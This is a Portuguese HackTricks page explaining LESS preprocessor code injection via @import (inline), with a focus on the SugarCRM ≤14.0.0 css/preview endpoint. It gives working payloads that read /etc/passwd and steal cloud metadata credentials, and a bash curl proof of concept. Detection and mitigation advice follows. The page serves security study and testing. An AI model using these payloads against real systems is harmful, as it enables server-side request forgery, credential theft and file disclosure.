LESS Code Injection leading to SSRF & Local File Read

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Visão Geral

LESS é um pré-processador CSS popular que adiciona variáveis, mixins, funções e a poderosa diretiva @import. Durante a compilação, o mecanismo LESS irá buscar os recursos referenciados nas declarações @import e embutir ("inline") seus conteúdos no CSS resultante quando a opção (inline) é usada.

Quando uma aplicação concatena entrada controlada pelo usuário em uma string que é posteriormente analisada pelo compilador LESS, um atacante pode injetar código LESS arbitrário. Ao abusar de @import (inline), o atacante pode forçar o servidor a recuperar:

  • Arquivos locais via o protocolo file:// (divulgação de informações / Inclusão de Arquivos Locais).
  • Recursos remotos em redes internas ou serviços de metadados em nuvem (SSRF).

Essa técnica foi vista em produtos do mundo real, como SugarCRM ≤ 14.0.0 (endpoint /rest/v10/css/preview).

Exploração

  1. Identifique um parâmetro que está diretamente embutido dentro de uma string de folha de estilo processada pelo mecanismo LESS (por exemplo, ?lm= no SugarCRM).
  2. Feche a declaração atual e injetar novas diretivas. Os primitivos mais comuns são:
  • ; – termina a declaração anterior.
  • } – fecha o bloco anterior (se necessário).
  1. Use @import (inline) '<URL>'; para ler recursos arbitrários.
  2. Opcionalmente, injetar um marcador (data: URI) após a importação para facilitar a extração do conteúdo buscado do CSS compilado.

Leitura de Arquivos Locais

1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //

O conteúdo de /etc/passwd aparecerá na resposta HTTP logo antes do marcador @@END@@.

SSRF – Metadados da Nuvem

1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //

PoC Automatizado (exemplo SugarCRM)

bash
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd

TARGET="$1"        # Base URL of SugarCRM instance
RESOURCE="$2"      # file:// path or URL to fetch

INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")

curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'

Detecção

  • Procure por respostas .less ou .css geradas dinamicamente contendo parâmetros de consulta não sanitizados.
  • Durante a revisão de código, busque construções como "@media all { .preview { ... ${userInput} ... } }" passadas para funções de renderização LESS.
  • Tentativas de exploração frequentemente incluem @import, (inline), file://, http://169.254.169.254, etc.

Mitigações

  • Não passe dados não confiáveis para o compilador LESS.
  • Se valores dinâmicos forem necessários, escape/sanitize-os adequadamente (por exemplo, restrinja a tokens numéricos, listas brancas).
  • Desative, quando possível, a capacidade de usar imports (inline), ou limite os protocolos permitidos a https.
  • Mantenha as dependências atualizadas – SugarCRM corrigiu esse problema nas versões 13.0.4 e 14.0.1.

Casos do Mundo Real

ProdutoEndpoint VulnerávelImpacto
SugarCRM ≤ 14.0.0/rest/v10/css/preview?lm=SSRF não autenticado & leitura de arquivo local

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks